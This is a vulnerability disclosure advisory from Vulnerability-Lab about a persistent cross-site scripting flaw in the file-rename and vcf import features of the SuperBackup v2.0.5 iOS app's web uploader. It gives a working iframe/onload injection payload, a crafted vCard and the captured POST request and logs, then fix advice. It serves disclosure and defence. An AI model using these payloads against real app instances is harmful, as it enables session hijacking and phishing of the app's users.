SuperBackup v2.0.5 iOS - VCF Persistent XSS Vulnerability

Document Title:
===============
SuperBackup v2.0.5 iOS - VCF Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2202


Release Date:
=============
2020-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
2202


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Backup all your iPhone or iPad contacts in 1 tap and export them. Fastest way to restore contacts from PC or Mac.
Export by mailing the backed up contacts file to yourself. Export contacts file to any other app on your device.
Export all contacts directly to your PC / Mac over Wifi, no software needed! Restore any contacts directly from
PC / Mac. Restore contacts via mail. Get the ultimate contacts backup app now.

(Copy of the Homepage: https://apps.apple.com/us/app/super-backup-export-import/id1052684097 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent cross site web vulnerabilities in the official SuperBackup v2.0.5 ios mobile application.


Affected Product(s):
====================
Dropouts Technologies LLP
Product: Super Backup v2.0.5


Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in the official SuperBackup v2.0.5 ios mobile application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise the mobile 
web-application from the application-side.

The cross site scripting web vulnerabilities are located in the `newPath`, `oldPath` & `filename` parameters of the vcf listing module. 
Remote attackers are able to inject own malicious persistent script codes as vcf filename to the main index list. The request method to 
inject is POST and the attack vector of the vulnerability is located on the application-side. The injection point is located at the vcf 
filename or import. The execution point occurs in the main index list after the import or insert.

Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack 
vector of the vulnerability is persistent and the request method to inject/execute is POST. The vulnerabilities are classic client-side 
cross site scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, persistent phishing 
attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] VCF

Vulnerable Parameter(s):
[+] newPath (path - vcf filename)
[+] oldPath (path - vcf filename)


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the cross site scripting vulnerability follow the provided information and steps below to continue.


PoC: Payload (Filename)
>"<iframe%20src=evil.source%20onload=alert("PWND")></iframe>


PoC: Vulnerable Source (Listing - Index)
<button type="button" class="btn btn-default btn-xs button-download">
<span class="glyphicon glyphicon-download-alt"></span>
</button>
</td>
<td class="column-name"><p class="edit" title="Click to rename...">Contacts 09:17:12:PM 10:Apr.:2020 .vcf</p></td>
<td class="column-size">
<p>26.40 KB</p>
</td>
<td class="column-delete">
<button type="button" class="btn btn-danger btn-xs button-delete">
<span class="glyphicon glyphicon-trash"></span>
</button>
</td>
</tr></tbody></table>
</div>


PoC: Exception-Handling
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020 .vcf" 
to "/Contacts >"<iframe src=evil.source onload=alert("PWND")></iframe> 09:17:12:PM 10:Apr.:2020 .vcf"
-
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020 .vcf" 
to "/Contacts 09:17:12:PM 10:Apr.:2020 >"<iframe src=evil.source onload=alert("PWND")></iframe> .vcf"
-
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020 .vcf" 
to "/Contacts >"<iframe src=evil.source onload=alert("PWND")></iframe>09:17:12:PM 10:Apr.:2020 .vcf" 


PoC: Exploit
BEGIN:VCARD
VERSION:3.0
PRODID:-//Apple Inc.//iPhone OS 12.4.5//EN
B:Kunz Mejri ;>"<iframe src=evil.source onload=alert("PWND")></iframe> ;;;
END:VCARD


--- PoC Session Logs [POST] ---
http://localhost/move
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 187
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/
oldPath=/Contacts 09:17:12:PM 10:Apr.:2020 .vcf&newPath=/evil-filename>"<iframe src=evil.source onload=alert("PWND")></iframe>.vc
-
POST: HTTP/1.1 500 Internal Server Error
Content-Length: 593
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
-
http://localhost/evil.source
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/
-
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close


Solution - Fix & Patch:
=======================
1. Parse and filter the vcf name values next to add, edit or imports to prevent an execution
2. Restrict and filter in the index listing the vcf names to sanitize the output


Security Risk:
==============
The security risk of the persistent vcf cross site scripting web vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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